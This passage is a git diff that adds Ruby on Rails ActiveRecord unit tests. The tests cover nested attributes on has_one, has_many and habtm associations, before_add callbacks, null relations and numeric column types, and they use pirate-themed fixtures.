+    @ship.pirate.destroy
+    [1, "1", true, "true"].each do |truth|
+      pirate = @ship.reload.create_pirate(catchphrase: "Arr")
+      @ship.update(pirate_attributes: { id: pirate.id, _destroy: truth })
+      assert_raise(ActiveRecord::RecordNotFound) { pirate.reload }
+    end
+  end
+
+  def test_should_unset_association_when_an_existing_record_is_destroyed
+    original_pirate_id = @ship.pirate.id
+    @ship.update! pirate_attributes: { id: @ship.pirate.id, _destroy: true }
+
+    assert_empty Pirate.where(id: original_pirate_id)
+    assert_nil @ship.pirate_id
+    assert_nil @ship.pirate
+
+    @ship.reload
+    assert_empty Pirate.where(id: original_pirate_id)
+    assert_nil @ship.pirate_id
+    assert_nil @ship.pirate
+  end
+
+  def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
+    [nil, "0", 0, "false", false].each do |not_truth|
+      @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: not_truth })
+      assert_nothing_raised { @ship.pirate.reload }
+    end
+  end
+
+  def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
+    Ship.accepts_nested_attributes_for :pirate, allow_destroy: false, reject_if: proc(&:empty?)
+
+    @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: "1" })
+    assert_nothing_raised { @ship.pirate.reload }
+  ensure
+    Ship.accepts_nested_attributes_for :pirate, allow_destroy: true, reject_if: proc(&:empty?)
+  end
+
+  def test_should_work_with_update_as_well
+    @ship.update(name: "Mister Pablo", pirate_attributes: { catchphrase: "Arr" })
+    @ship.reload
+
+    assert_equal "Mister Pablo", @ship.name
+    assert_equal "Arr", @ship.pirate.catchphrase
+  end
+
+  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+    pirate = @ship.pirate
+
+    @ship.attributes = { pirate_attributes: { :id => pirate.id, "_destroy" => true } }
+    assert_nothing_raised { Pirate.find(pirate.id) }
+    @ship.save
+    assert_raise(ActiveRecord::RecordNotFound) { Pirate.find(pirate.id) }
+  end
+
+  def test_should_automatically_enable_autosave_on_the_association
+    assert Ship.reflect_on_association(:pirate).options[:autosave]
+  end
+
+  def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
+    @pirate.delete
+    @ship.reload.attributes = { update_only_pirate_attributes: { catchphrase: "Arr" } }
+
+    assert !@ship.update_only_pirate.persisted?
+  end
+
+  def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
+    @pirate.delete
+    @pirate = @ship.create_update_only_pirate(catchphrase: "Aye")
+
+    @ship.update(update_only_pirate_attributes: { catchphrase: "Arr" })
+    assert_equal "Arr", @pirate.reload.catchphrase
+    assert_equal @pirate, @ship.reload.update_only_pirate
+  end
+
+  def test_should_update_existing_when_update_only_is_true_and_id_is_given
+    @pirate.delete
+    @pirate = @ship.create_update_only_pirate(catchphrase: "Aye")
+
+    @ship.update(update_only_pirate_attributes: { catchphrase: "Arr", id: @pirate.id })
+
+    assert_equal "Arr", @pirate.reload.catchphrase
+    assert_equal @pirate, @ship.reload.update_only_pirate
+  end
+
+  def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is_marked_for_destruction
+    Ship.accepts_nested_attributes_for :update_only_pirate, update_only: true, allow_destroy: true
+    @pirate.delete
+    @pirate = @ship.create_update_only_pirate(catchphrase: "Aye")
+
+    @ship.update(update_only_pirate_attributes: { catchphrase: "Arr", id: @pirate.id, _destroy: true })
+
+    assert_raise(ActiveRecord::RecordNotFound) { @pirate.reload }
+
+    Ship.accepts_nested_attributes_for :update_only_pirate, update_only: true, allow_destroy: false
+  end
+end
+
+module NestedAttributesOnACollectionAssociationTests
+  def test_should_define_an_attribute_writer_method_for_the_association
+    assert_respond_to @pirate, association_setter
+  end
+
+  def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes_for_has_many
+    exception = assert_raise ActiveModel::UnknownAttributeError do
+      @pirate.parrots_attributes = [{ peg_leg: true }]
+    end
+    assert_equal "unknown attribute 'peg_leg' for Parrot.", exception.message
+  end
+
+  def test_should_save_only_one_association_on_create
+    pirate = Pirate.create!(
+      :catchphrase => "Arr",
+      association_getter => { "foo" => { name: "Grace OMalley" } })
+
+    assert_equal 1, pirate.reload.send(@association_name).count
+  end
+
+  def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_associated_models
+    @alternate_params[association_getter].stringify_keys!
+    @pirate.update @alternate_params
+    assert_equal ["Grace OMalley", "Privateers Greed"], [@child_1.reload.name, @child_2.reload.name]
+  end
+
+  def test_should_take_an_array_and_assign_the_attributes_to_the_associated_models
+    @pirate.send(association_setter, @alternate_params[association_getter].values)
+    @pirate.save
+    assert_equal ["Grace OMalley", "Privateers Greed"], [@child_1.reload.name, @child_2.reload.name]
+  end
+
+  def test_should_also_work_with_a_HashWithIndifferentAccess
+    @pirate.send(association_setter, ActiveSupport::HashWithIndifferentAccess.new("foo" => ActiveSupport::HashWithIndifferentAccess.new(id: @child_1.id, name: "Grace OMalley")))
+    @pirate.save
+    assert_equal "Grace OMalley", @child_1.reload.name
+  end
+
+  def test_should_take_a_hash_and_assign_the_attributes_to_the_associated_models
+    @pirate.attributes = @alternate_params
+    assert_equal "Grace OMalley", @pirate.send(@association_name).first.name
+    assert_equal "Privateers Greed", @pirate.send(@association_name).last.name
+  end
+
+  def test_should_not_load_association_when_updating_existing_records
+    @pirate.reload
+    @pirate.send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
+    assert ! @pirate.send(@association_name).loaded?
+
+    @pirate.save
+    assert ! @pirate.send(@association_name).loaded?
+    assert_equal "Grace OMalley", @child_1.reload.name
+  end
+
+  def test_should_not_overwrite_unsaved_updates_when_loading_association
+    @pirate.reload
+    @pirate.send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
+    assert_equal "Grace OMalley", @pirate.send(@association_name).load_target.find { |r| r.id == @child_1.id }.name
+  end
+
+  def test_should_preserve_order_when_not_overwriting_unsaved_updates
+    @pirate.reload
+    @pirate.send(association_setter, [{ id: @child_1.id, name: "Grace OMalley" }])
+    assert_equal @child_1.id, @pirate.send(@association_name).load_target.first.id
+  end
+
+  def test_should_refresh_saved_records_when_not_overwriting_unsaved_updates
+    @pirate.reload
+    record = @pirate.class.reflect_on_association(@association_name).klass.new(name: "Grace OMalley")
+    @pirate.send(@association_name) << record
+    record.save!
+    @pirate.send(@association_name).last.update!(name: "Polly")
+    assert_equal "Polly", @pirate.send(@association_name).load_target.last.name
+  end
+
+  def test_should_not_remove_scheduled_destroys_when_loading_association
+    @pirate.reload
+    @pirate.send(association_setter, [{ id: @child_1.id, _destroy: "1" }])
+    assert @pirate.send(@association_name).load_target.find { |r| r.id == @child_1.id }.marked_for_destruction?
+  end
+
+  def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models
+    @child_1.stub(:id, "ABC1X") do
+      @child_2.stub(:id, "ABC2X") do
+
+        @pirate.attributes = {
+          association_getter => [
+            { id: @child_1.id, name: "Grace OMalley" },
+            { id: @child_2.id, name: "Privateers Greed" }
+          ]
+        }
+
+        assert_equal ["Grace OMalley", "Privateers Greed"], [@child_1.name, @child_2.name]
+      end
+    end
+  end
+
+  def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
+    exception = assert_raise ActiveRecord::RecordNotFound do
+      @pirate.attributes = { association_getter => [{ id: 1234567890 }] }
+    end
+    assert_equal "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
+  end
+
+  def test_should_raise_RecordNotFound_if_an_id_belonging_to_a_different_record_is_given
+    other_pirate = Pirate.create! catchphrase: "Ahoy!"
+    other_child = other_pirate.send(@association_name).create! name: "Buccaneers Servant"
+
+    exception = assert_raise ActiveRecord::RecordNotFound do
+      @pirate.attributes = { association_getter => [{ id: other_child.id }] }
+    end
+    assert_equal "Couldn't find #{@child_1.class.name} with ID=#{other_child.id} for Pirate with ID=#{@pirate.id}", exception.message
+  end
+
+  def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
+    @pirate.send(@association_name).destroy_all
+    @pirate.reload.attributes = {
+      association_getter => { "foo" => { name: "Grace OMalley" }, "bar" => { name: "Privateers Greed" } }
+    }
+
+    assert !@pirate.send(@association_name).first.persisted?
+    assert_equal "Grace OMalley", @pirate.send(@association_name).first.name
+
+    assert !@pirate.send(@association_name).last.persisted?
+    assert_equal "Privateers Greed", @pirate.send(@association_name).last.name
+  end
+
+  def test_should_not_assign_destroy_key_to_a_record
+    assert_nothing_raised do
+      @pirate.send(association_setter, "foo" => { "_destroy" => "0" })
+    end
+  end
+
+  def test_should_ignore_new_associated_records_with_truthy_destroy_attribute
+    @pirate.send(@association_name).destroy_all
+    @pirate.reload.attributes = {
+      association_getter => {
+        "foo" => { name: "Grace OMalley" },
+        "bar" => { :name => "Privateers Greed", "_destroy" => "1" }
+      }
+    }
+
+    assert_equal 1, @pirate.send(@association_name).length
+    assert_equal "Grace OMalley", @pirate.send(@association_name).first.name
+  end
+
+  def test_should_ignore_new_associated_records_if_a_reject_if_proc_returns_false
+    @alternate_params[association_getter]["baz"] = {}
+    assert_no_difference("@pirate.send(@association_name).count") do
+      @pirate.attributes = @alternate_params
+    end
+  end
+
+  def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models
+    attributes = {}
+    attributes["123726353"] = { name: "Grace OMalley" }
+    attributes["2"] = { name: "Privateers Greed" } # 2 is lower then 123726353
+    @pirate.send(association_setter, attributes)
+
+    assert_equal ["Posideons Killer", "Killer bandita Dionne", "Privateers Greed", "Grace OMalley"].to_set, @pirate.send(@association_name).map(&:name).to_set
+  end
+
+  def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed
+    assert_nothing_raised { @pirate.send(association_setter, {}) }
+    assert_nothing_raised { @pirate.send(association_setter, Hash.new) }
+
+    exception = assert_raise ArgumentError do
+      @pirate.send(association_setter, "foo")
+    end
+    assert_equal %{Hash or Array expected for attribute `#{@association_name}`, got String ("foo")}, exception.message
+  end
+
+  def test_should_work_with_update_as_well
+    @pirate.update(catchphrase: "Arr",
+      association_getter => { "foo" => { id: @child_1.id, name: "Grace OMalley" } })
+
+    assert_equal "Grace OMalley", @child_1.reload.name
+  end
+
+  def test_should_update_existing_records_and_add_new_ones_that_have_no_id
+    @alternate_params[association_getter]["baz"] = { name: "Buccaneers Servant" }
+    assert_difference("@pirate.send(@association_name).count", +1) do
+      @pirate.update @alternate_params
+    end
+    assert_equal ["Grace OMalley", "Privateers Greed", "Buccaneers Servant"].to_set, @pirate.reload.send(@association_name).map(&:name).to_set
+  end
+
+  def test_should_be_possible_to_destroy_a_record
+    ["1", 1, "true", true].each do |true_variable|
+      record = @pirate.reload.send(@association_name).create!(name: "Grace OMalley")
+      @pirate.send(association_setter,
+        @alternate_params[association_getter].merge("baz" => { :id => record.id, "_destroy" => true_variable })
+      )
+
+      assert_difference("@pirate.send(@association_name).count", -1) do
+        @pirate.save
+      end
+    end
+  end
+
+  def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument
+    [nil, "", "0", 0, "false", false].each do |false_variable|
+      @alternate_params[association_getter]["foo"]["_destroy"] = false_variable
+      assert_no_difference("@pirate.send(@association_name).count") do
+        @pirate.update(@alternate_params)
+      end
+    end
+  end
+
+  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+    assert_no_difference("@pirate.send(@association_name).count") do
+      @pirate.send(association_setter, @alternate_params[association_getter].merge("baz" => { :id => @child_1.id, "_destroy" => true }))
+    end
+    assert_difference("@pirate.send(@association_name).count", -1) { @pirate.save }
+  end
+
+  def test_should_automatically_enable_autosave_on_the_association
+    assert Pirate.reflect_on_association(@association_name).options[:autosave]
+  end
+
+  def test_validate_presence_of_parent_works_with_inverse_of
+    Man.accepts_nested_attributes_for(:interests)
+    assert_equal :man, Man.reflect_on_association(:interests).options[:inverse_of]
+    assert_equal :interests, Interest.reflect_on_association(:man).options[:inverse_of]
+
+    repair_validations(Interest) do
+      Interest.validates_presence_of(:man)
+      assert_difference "Man.count" do
+        assert_difference "Interest.count", 2 do
+          man = Man.create!(name: "John",
+                            interests_attributes: [{ topic: "Cars" }, { topic: "Sports" }])
+          assert_equal 2, man.interests.count
+        end
+      end
+    end
+  end
+
+  def test_can_use_symbols_as_object_identifier
+    @pirate.attributes = { parrots_attributes: { foo: { name: "Lovely Day" }, bar: { name: "Blown Away" } } }
+    assert_nothing_raised { @pirate.save! }
+  end
+
+  def test_numeric_column_changes_from_zero_to_no_empty_string
+    Man.accepts_nested_attributes_for(:interests)
+
+    repair_validations(Interest) do
+      Interest.validates_numericality_of(:zine_id)
+      man = Man.create(name: "John")
+      interest = man.interests.create(topic: "bar", zine_id: 0)
+      assert interest.save
+      assert !man.update(interests_attributes: { id: interest.id, zine_id: "foo" })
+    end
+  end
+
+  private
+
+    def association_setter
+      @association_setter ||= "#{@association_name}_attributes=".to_sym
+    end
+
+    def association_getter
+      @association_getter ||= "#{@association_name}_attributes".to_sym
+    end
+end
+
+class TestNestedAttributesOnAHasManyAssociation < ActiveRecord::TestCase
+  def setup
+    @association_type = :has_many
+    @association_name = :birds
+
+    @pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @pirate.birds.create!(name: "Posideons Killer")
+    @pirate.birds.create!(name: "Killer bandita Dionne")
+
+    @child_1, @child_2 = @pirate.birds
+
+    @alternate_params = {
+      birds_attributes: {
+        "foo" => { id: @child_1.id, name: "Grace OMalley" },
+        "bar" => { id: @child_2.id, name: "Privateers Greed" }
+      }
+    }
+  end
+
+  include NestedAttributesOnACollectionAssociationTests
+end
+
+class TestNestedAttributesOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+  def setup
+    @association_type = :has_and_belongs_to_many
+    @association_name = :parrots
+
+    @pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @pirate.parrots.create!(name: "Posideons Killer")
+    @pirate.parrots.create!(name: "Killer bandita Dionne")
+
+    @child_1, @child_2 = @pirate.parrots
+
+    @alternate_params = {
+      parrots_attributes: {
+        "foo" => { id: @child_1.id, name: "Grace OMalley" },
+        "bar" => { id: @child_2.id, name: "Privateers Greed" }
+      }
+    }
+  end
+
+  include NestedAttributesOnACollectionAssociationTests
+end
+
+module NestedAttributesLimitTests
+  def teardown
+    Pirate.accepts_nested_attributes_for :parrots, allow_destroy: true, reject_if: proc(&:empty?)
+  end
+
+  def test_limit_with_less_records
+    @pirate.attributes = { parrots_attributes: { "foo" => { name: "Big Big Love" } } }
+    assert_difference("Parrot.count") { @pirate.save! }
+  end
+
+  def test_limit_with_number_exact_records
+    @pirate.attributes = { parrots_attributes: { "foo" => { name: "Lovely Day" }, "bar" => { name: "Blown Away" } } }
+    assert_difference("Parrot.count", 2) { @pirate.save! }
+  end
+
+  def test_limit_with_exceeding_records
+    assert_raises(ActiveRecord::NestedAttributes::TooManyRecords) do
+      @pirate.attributes = { parrots_attributes: { "foo" => { name: "Lovely Day" },
+                                                      "bar" => { name: "Blown Away" },
+                                                      "car" => { name: "The Happening" } } }
+    end
+  end
+end
+
+class TestNestedAttributesLimitNumeric < ActiveRecord::TestCase
+  def setup
+    Pirate.accepts_nested_attributes_for :parrots, limit: 2
+
+    @pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+  end
+
+  include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesLimitSymbol < ActiveRecord::TestCase
+  def setup
+    Pirate.accepts_nested_attributes_for :parrots, limit: :parrots_limit
+
+    @pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?", parrots_limit: 2)
+  end
+
+  include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesLimitProc < ActiveRecord::TestCase
+  def setup
+    Pirate.accepts_nested_attributes_for :parrots, limit: proc { 2 }
+
+    @pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+  end
+
+  include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesWithNonStandardPrimaryKeys < ActiveRecord::TestCase
+  fixtures :owners, :pets
+
+  def setup
+    Owner.accepts_nested_attributes_for :pets, allow_destroy: true
+
+    @owner = owners(:ashley)
+    @pet1, @pet2 = pets(:chew), pets(:mochi)
+
+    @params = {
+      pets_attributes: {
+        "0" => { id: @pet1.id, name: "Foo" },
+        "1" => { id: @pet2.id, name: "Bar" }
+      }
+    }
+  end
+
+  def test_should_update_existing_records_with_non_standard_primary_key
+    @owner.update(@params)
+    assert_equal ["Foo", "Bar"], @owner.pets.map(&:name)
+  end
+
+  def test_attr_accessor_of_child_should_be_value_provided_during_update
+    @owner = owners(:ashley)
+    @pet1 = pets(:chew)
+    attributes = { pets_attributes: { "1" => { id: @pet1.id,
+                                                name: "Foo2",
+                                                current_user: "John",
+                                                _destroy: true } } }
+    @owner.update(attributes)
+    assert_equal "John", Pet.after_destroy_output
+  end
+end
+
+class TestHasOneAutosaveAssociationWhichItselfHasAutosaveAssociations < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    @pirate = Pirate.create!(catchphrase: "My baby takes tha mornin' train!")
+    @ship = @pirate.create_ship(name: "The good ship Dollypop")
+    @part = @ship.parts.create!(name: "Mast")
+    @trinket = @part.trinkets.create!(name: "Necklace")
+  end
+
+  test "when great-grandchild changed in memory, saving parent should save great-grandchild" do
+    @trinket.name = "changed"
+    @pirate.save
+    assert_equal "changed", @trinket.reload.name
+  end
+
+  test "when great-grandchild changed via attributes, saving parent should save great-grandchild" do
+    @pirate.attributes = { ship_attributes: { id: @ship.id, parts_attributes: [{ id: @part.id, trinkets_attributes: [{ id: @trinket.id, name: "changed" }] }] } }
+    @pirate.save
+    assert_equal "changed", @trinket.reload.name
+  end
+
+  test "when great-grandchild marked_for_destruction via attributes, saving parent should destroy great-grandchild" do
+    @pirate.attributes = { ship_attributes: { id: @ship.id, parts_attributes: [{ id: @part.id, trinkets_attributes: [{ id: @trinket.id, _destroy: true }] }] } }
+    assert_difference("@part.trinkets.count", -1) { @pirate.save }
+  end
+
+  test "when great-grandchild added via attributes, saving parent should create great-grandchild" do
+    @pirate.attributes = { ship_attributes: { id: @ship.id, parts_attributes: [{ id: @part.id, trinkets_attributes: [{ name: "created" }] }] } }
+    assert_difference("@part.trinkets.count", 1) { @pirate.save }
+  end
+
+  test "when extra records exist for associations, validate (which calls nested_records_changed_for_autosave?) should not load them up" do
+    @trinket.name = "changed"
+    Ship.create!(pirate: @pirate, name: "The Black Rock")
+    ShipPart.create!(ship: @ship, name: "Stern")
+    assert_no_queries { @pirate.valid? }
+  end
+end
+
+class TestHasManyAutosaveAssociationWhichItselfHasAutosaveAssociations < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    @ship = Ship.create!(name: "The good ship Dollypop")
+    @part = @ship.parts.create!(name: "Mast")
+    @trinket = @part.trinkets.create!(name: "Necklace")
+  end
+
+  test "if association is not loaded and association record is saved and then in memory record attributes should be saved" do
+    @ship.parts_attributes = [{ id: @part.id, name: "Deck" }]
+    assert_equal 1, @ship.association(:parts).target.size
+    assert_equal "Deck", @ship.parts[0].name
+  end
+
+  test "if association is not loaded and child doesn't change and I am saving a grandchild then in memory record should be used" do
+    @ship.parts_attributes = [{ id: @part.id, trinkets_attributes: [{ id: @trinket.id, name: "Ruby" }] }]
+    assert_equal 1, @ship.association(:parts).target.size
+    assert_equal "Mast", @ship.parts[0].name
+    assert_no_difference("@ship.parts[0].association(:trinkets).target.size") do
+      @ship.parts[0].association(:trinkets).target.size
+    end
+    assert_equal "Ruby", @ship.parts[0].trinkets[0].name
+    @ship.save
+    assert_equal "Ruby", @ship.parts[0].trinkets[0].name
+  end
+
+  test "when grandchild changed in memory, saving parent should save grandchild" do
+    @trinket.name = "changed"
+    @ship.save
+    assert_equal "changed", @trinket.reload.name
+  end
+
+  test "when grandchild changed via attributes, saving parent should save grandchild" do
+    @ship.attributes = { parts_attributes: [{ id: @part.id, trinkets_attributes: [{ id: @trinket.id, name: "changed" }] }] }
+    @ship.save
+    assert_equal "changed", @trinket.reload.name
+  end
+
+  test "when grandchild marked_for_destruction via attributes, saving parent should destroy grandchild" do
+    @ship.attributes = { parts_attributes: [{ id: @part.id, trinkets_attributes: [{ id: @trinket.id, _destroy: true }] }] }
+    assert_difference("@part.trinkets.count", -1) { @ship.save }
+  end
+
+  test "when grandchild added via attributes, saving parent should create grandchild" do
+    @ship.attributes = { parts_attributes: [{ id: @part.id, trinkets_attributes: [{ name: "created" }] }] }
+    assert_difference("@part.trinkets.count", 1) { @ship.save }
+  end
+
+  test "when extra records exist for associations, validate (which calls nested_records_changed_for_autosave?) should not load them up" do
+    @trinket.name = "changed"
+    Ship.create!(name: "The Black Rock")
+    ShipPart.create!(ship: @ship, name: "Stern")
+    assert_no_queries { @ship.valid? }
+  end
+
+  test "circular references do not perform unnecessary queries" do
+    ship = Ship.new(name: "The Black Rock")
+    part = ship.parts.build(name: "Stern")
+    ship.treasures.build(looter: part)
+
+    assert_queries 3 do
+      ship.save!
+    end
+  end
+
+  test "nested singular associations are validated" do
+    part = ShipPart.new(name: "Stern", ship_attributes: { name: nil })
+
+    assert_not part.valid?
+    assert_equal ["Ship name can't be blank"], part.errors.full_messages
+  end
+end
diff --git a/activerecord/test/cases/nested_attributes_with_callbacks_test.rb b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
new file mode 100644
index 0000000000..f04c68b08f
--- /dev/null
+++ b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/pirate"
+require "models/bird"
+
+class NestedAttributesWithCallbacksTest < ActiveRecord::TestCase
+  Pirate.has_many(:birds_with_add_load,
+                  class_name: "Bird",
+                  before_add: proc { |p, b|
+                    @@add_callback_called << b
+                    p.birds_with_add_load.to_a
+                  })
+  Pirate.has_many(:birds_with_add,
+                  class_name: "Bird",
+                  before_add: proc { |p, b| @@add_callback_called << b })
+
+  Pirate.accepts_nested_attributes_for(:birds_with_add_load,
+                                       :birds_with_add,
+                                       allow_destroy: true)
+
+  def setup
+    @@add_callback_called = []
+    @pirate = Pirate.new.tap do |pirate|
+      pirate.catchphrase = "Don't call me!"
+      pirate.birds_attributes = [{ name: "Bird1" }, { name: "Bird2" }]
+      pirate.save!
+    end
+    @birds = @pirate.birds.to_a
+  end
+
+  def bird_to_update
+    @birds[0]
+  end
+
+  def bird_to_destroy
+    @birds[1]
+  end
+
+  def existing_birds_attributes
+    @birds.map do |bird|
+      bird.attributes.slice("id", "name")
+    end
+  end
+
+  def new_birds
+    @pirate.birds_with_add.to_a - @birds
+  end
+
+  def new_bird_attributes
+    [{ "name" => "New Bird" }]
+  end
+
+  def destroy_bird_attributes
+    [{ "id" => bird_to_destroy.id.to_s, "_destroy" => true }]
+  end
+
+  def update_new_and_destroy_bird_attributes
+    [{ "id" => @birds[0].id.to_s, "name" => "New Name" },
+     { "name" => "New Bird" },
+     { "id" => bird_to_destroy.id.to_s, "_destroy" => true }]
+  end
+
+  # Characterizing when :before_add callback is called
+  test ":before_add called for new bird when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = new_bird_attributes
+    assert_new_bird_with_callback_called
+  end
+
+  test ":before_add called for new bird when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = new_bird_attributes
+    assert_new_bird_with_callback_called
+  end
+
+  def assert_new_bird_with_callback_called
+    assert_equal(1, new_birds.size)
+    assert_equal(new_birds, @@add_callback_called)
+  end
+
+  test ":before_add not called for identical assignment when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = existing_birds_attributes
+    assert_callbacks_not_called
+  end
+
+  test ":before_add not called for identical assignment when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = existing_birds_attributes
+    assert_callbacks_not_called
+  end
+
+  test ":before_add not called for destroy assignment when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = destroy_bird_attributes
+    assert_callbacks_not_called
+  end
+
+  test ":before_add not called for deletion assignment when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = destroy_bird_attributes
+    assert_callbacks_not_called
+  end
+
+  def assert_callbacks_not_called
+    assert_empty new_birds
+    assert_empty @@add_callback_called
+  end
+
+  # Ensuring that the records in the association target are updated,
+  # whether the association is loaded before or not
+  test "Assignment updates records in target when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add)
+  end
+
+  test "Assignment updates records in target when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add)
+  end
+
+  test("Assignment updates records in target when not loaded" \
+       " and callback loads target") do
+    assert_not @pirate.birds_with_add_load.loaded?
+    @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add_load)
+  end
+
+  test("Assignment updates records in target when loaded" \
+       " and callback loads target") do
+    @pirate.birds_with_add_load.load_target
+    @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add_load)
+  end
+
+  def assert_assignment_affects_records_in_target(association_name)
+    association = @pirate.send(association_name)
+    assert association.detect { |b| b == bird_to_update }.name_changed?,
+      "Update record not updated"
+    assert association.detect { |b| b == bird_to_destroy }.marked_for_destruction?,
+      "Destroy record not marked for destruction"
+  end
+end
diff --git a/activerecord/test/cases/null_relation_test.rb b/activerecord/test/cases/null_relation_test.rb
new file mode 100644
index 0000000000..17527568f8
--- /dev/null
+++ b/activerecord/test/cases/null_relation_test.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/comment"
+require "models/post"
+require "models/topic"
+
+class NullRelationTest < ActiveRecord::TestCase
+  fixtures :posts, :comments
+
+  def test_none
+    assert_no_queries(ignore_none: false) do
+      assert_equal [], Developer.none
+      assert_equal [], Developer.all.none
+    end
+  end
+
+  def test_none_chainable
+    assert_no_queries(ignore_none: false) do
+      assert_equal [], Developer.none.where(name: "David")
+    end
+  end
+
+  def test_none_chainable_to_existing_scope_extension_method
+    assert_no_queries(ignore_none: false) do
+      assert_equal 1, Topic.anonymous_extension.none.one
+    end
+  end
+
+  def test_none_chained_to_methods_firing_queries_straight_to_db
+    assert_no_queries(ignore_none: false) do
+      assert_equal [],    Developer.none.pluck(:id, :name)
+      assert_equal 0,     Developer.none.delete_all
+      assert_equal 0,     Developer.none.update_all(name: "David")
+      assert_equal 0,     Developer.none.delete(1)
+      assert_equal false, Developer.none.exists?(1)
+    end
+  end
+
+  def test_null_relation_content_size_methods
+    assert_no_queries(ignore_none: false) do
+      assert_equal 0,     Developer.none.size
+      assert_equal 0,     Developer.none.count
+      assert_equal true,  Developer.none.empty?
+      assert_equal true,  Developer.none.none?
+      assert_equal false, Developer.none.any?
+      assert_equal false, Developer.none.one?
+      assert_equal false, Developer.none.many?
+    end
+  end
+
+  def test_null_relation_metadata_methods
+    assert_equal "", Developer.none.to_sql
+    assert_equal({}, Developer.none.where_values_hash)
+  end
+
+  def test_null_relation_where_values_hash
+    assert_equal({ "salary" => 100_000 }, Developer.none.where(salary: 100_000).where_values_hash)
+  end
+
+  [:count, :sum].each do |method|
+    define_method "test_null_relation_#{method}" do
+      assert_no_queries(ignore_none: false) do
+        assert_equal 0, Comment.none.public_send(method, :id)
+        assert_equal Hash.new, Comment.none.group(:post_id).public_send(method, :id)
+      end
+    end
+  end
+
+  [:average, :minimum, :maximum].each do |method|
+    define_method "test_null_relation_#{method}" do
+      assert_no_queries(ignore_none: false) do
+        assert_nil Comment.none.public_send(method, :id)
+        assert_equal Hash.new, Comment.none.group(:post_id).public_send(method, :id)
+      end
+    end
+  end
+
+  def test_null_relation_in_where_condition
+    assert_operator Comment.count, :>, 0 # precondition, make sure there are comments.
+    assert_equal 0, Comment.where(post_id: Post.none).count
+  end
+end
diff --git a/activerecord/test/cases/numeric_data_test.rb b/activerecord/test/cases/numeric_data_test.rb
new file mode 100644
index 0000000000..f917c8f727
--- /dev/null
+++ b/activerecord/test/cases/numeric_data_test.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/numeric_data"
+
+class NumericDataTest < ActiveRecord::TestCase
+  def test_big_decimal_conditions
+    m = NumericData.new(
+      bank_balance: 1586.43,
+      big_bank_balance: BigDecimal("1000234000567.95"),
+      world_population: 6000000000,
+      my_house_population: 3
+    )
+    assert m.save
+    assert_equal 0, NumericData.where("bank_balance > ?", 2000.0).count
+  end
+
+  def test_numeric_fields
+    m = NumericData.new(
+      bank_balance: 1586.43,
+      big_bank_balance: BigDecimal("1000234000567.95"),
+      world_population: 6000000000,
+      my_house_population: 3
+    )
+    assert m.save
+
+    m1 = NumericData.find(m.id)
+    assert_not_nil m1
+
+    # As with migration_test.rb, we should make world_population >= 2**62
+    # to cover 64-bit platforms and test it is a Bignum, but the main thing
+    # is that it's an Integer.
+    assert_kind_of Integer, m1.world_population
+    assert_equal 6000000000, m1.world_population
+
+    assert_kind_of Integer, m1.my_house_population
+    assert_equal 3, m1.my_house_population
+
+    assert_kind_of BigDecimal, m1.bank_balance
+    assert_equal BigDecimal("1586.43"), m1.bank_balance
+
+    assert_kind_of BigDecimal, m1.big_bank_balance
+    assert_equal BigDecimal("1000234000567.95"), m1.big_bank_balance
+  end
+
